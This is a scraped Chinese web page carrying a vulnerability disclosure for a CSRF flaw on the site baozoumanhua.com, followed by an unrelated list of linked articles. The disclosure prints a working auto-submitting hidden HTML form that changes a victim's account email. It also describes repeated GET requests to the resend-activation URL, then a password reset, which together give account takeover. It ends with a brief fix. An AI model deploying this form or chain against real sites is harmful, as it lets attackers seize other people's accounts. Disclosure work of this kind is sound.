把token带到 http头部 或者验证一下referer
提交数据:
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
a??
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
aaaxasa1@qq.com
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
?????1é????±
这是有token的
接着我写一个表单
<form id="csrf" action="http://baozoumanhua.com/users/用户id" method="post">
<input type=hidden name="utf8" value="a??">
<input type=hidden name="_method" value="put">
<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
<input type=hidden name="user[email]" value="你的邮箱">
<input type=hidden name="commit" value="?????1é????±">
<script>
document.getElementById('csrf').submit(2881064151);
</script>
</form>
再点击发送激活邮件 抓包
GET:http://baozoumanhua.com/my/resend/用户ID
此时我将表单的 email 换成我的有效邮箱
接着打开并且抓包
直接提示修改成功 无视token
可以看到 先get访问了 a.htm 然后再post提交到 暴走漫画
现在邮箱改掉了 只需要 访问http://baozoumanhua.com/my/resend/8311358 就行
至于这个 做个弹窗到新窗口 弹到b.htm b.htm 用js写个每一秒GET访问一次
http://baozoumanhua.com/my/resend/2881064151
这时我被弹到了b.htm, 被弹到b.htm后会很多次get访问http://baozoumanhua.com/my/resend/8311358
接着我就收到了激活邮件
现在被激活了 就可以去http://baozoumanhua.com/fetchpass 发送一个重置密码邮件。
=。= 接着就可以改他的密码了
修复方案:
可以像上次那个漏洞一样 WooYun: 暴走漫画越权发暴漫作品(拿王尼玛帐号测试)利用打赏功能发财致富走上人生巅峰
把token带到 http头部 或者验证一下referer。
把token带到 http头部 或者验证一下referer的更多相关文章
- vue拦截器实现统一token,并兼容IE9验证
项目中使用vue搭建前端页面,并通过axios请求后台api接口,完成数据交互.如果验证口令token写在在每次的接口中,也是个不小的体力活,而且也不灵活.这里分享使用vue自带拦截器,给每次请求的头 ...
- Token:服务端身份验证的流行方案【转】
01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...
- Token:服务端身份验证的流行方案
01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...
- [PHP] - Laravel - CSRF token禁用方法与排除验证csrf_token的url设置
laravel5.1排除验证csrf_token的url设置 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Htt ...
- java EE : http 协议响应头部信息验证
一 location :***** 302 重定向 private void doWork(HttpServletRequest req, HttpServletResponse resp ...
- CSRF跨站请求伪造与XSS跨域脚本攻击讨论
今天和朋友讨论网站安全问题,聊到了csrf和xss,刚开始对两者不是神明白,经过查阅与讨论,整理了如下资料,与大家分享. CSRF(Cross-site request forgery):跨站请求伪造 ...
- golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息
golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息 Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放 ...
- ASP.NET Web APIs 基于令牌TOKEN验证的实现(保存到DB的Token)
http://www.cnblogs.com/niuww/p/5639637.html 保存到DB的Token 基于.Net Framework 4.0 Web API开发(4):ASP.NET We ...
- SpringBoot集成JWT实现token验证
原文:https://www.jianshu.com/p/e88d3f8151db JWT官网: https://jwt.io/ JWT(Java版)的github地址:https://github. ...
随机推荐
- CentOS7 cacti 安装
首先centos7 web环境的安装这里就不说了.安装cacti,首先得web环境配置好 其次添加两个用户,一个是cacti用于操作mysql的 cactimysql 一个是cacti操作Linux ...
- js中属性节点的应用
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/ ...
- php 导出excle的.csv格式的数据时乱码问题
1.header('Content-Encoding: XXXX'); 有可能是编码问题:可以尝试UTF-8,GBK,GB2312,等编码格式 2.有可能是文件编码问题,虽然UTF-8不建议带BOM, ...
- 【转】理解 PHP 依赖注入 | Laravel IoC容器
Laravel框架的依赖注入确实很强大,并且通过容器实现依赖注入可以有选择性的加载需要的服务,减少初始化框架的开销,下面是我在网上看到的一个帖子,写的很好拿来与大家分享,文章从开始按照传统的类设计数据 ...
- Java中的private protected public和default的区别
转至:http://blog.sina.com.cn/s/blog_74c571240101jaf5.html 类内部 本包 子类 外部包 public √ √ √ √ pro ...
- UWP学习记录9-设计和UI之控件和模式6
UWP学习记录9-设计和UI之控件和模式6 1.图形和墨迹 InkCanvas是接收和显示墨迹笔划的控件,是新增的比较复杂的控件,这里先不深入. 而形状(Shape)则是可以显示的各种保留模式图形对象 ...
- 获取系统中所有进程&线程信息
读书笔记--[计算机病毒解密与对抗] 目录: 遍历进程&线程程序 终止进程 获取进程信息 获取进程内模块信息 获取进程命令行参数 代码运行环境:Win7 x64 VS2012 Update3 ...
- jQuery九类选择器详解
(1)基本选择器 <body> <div id="div1ID">div1</div> <div id="div2ID" ...
- WEB开发入门
对服务器的概念需要更新一下: 从物理上来说,服务器就是一台PC机,至少8核,以T计算,带宽100M以上 一般有的服务器 1. web服务器 -- PC机上安装一个具有web服务的软件 2. 数据库服务 ...
- G1 垃圾收集器
概念先知 什么是垃圾回收 简单的说垃圾回收就是回收内存中不再使用的对象. 垃圾回收的基本步骤: 查找内存中不再使用的对象 释放这些对象占用的内存 查找内存中不再使用的对象 如何判断哪些对象不再被使用呢 ...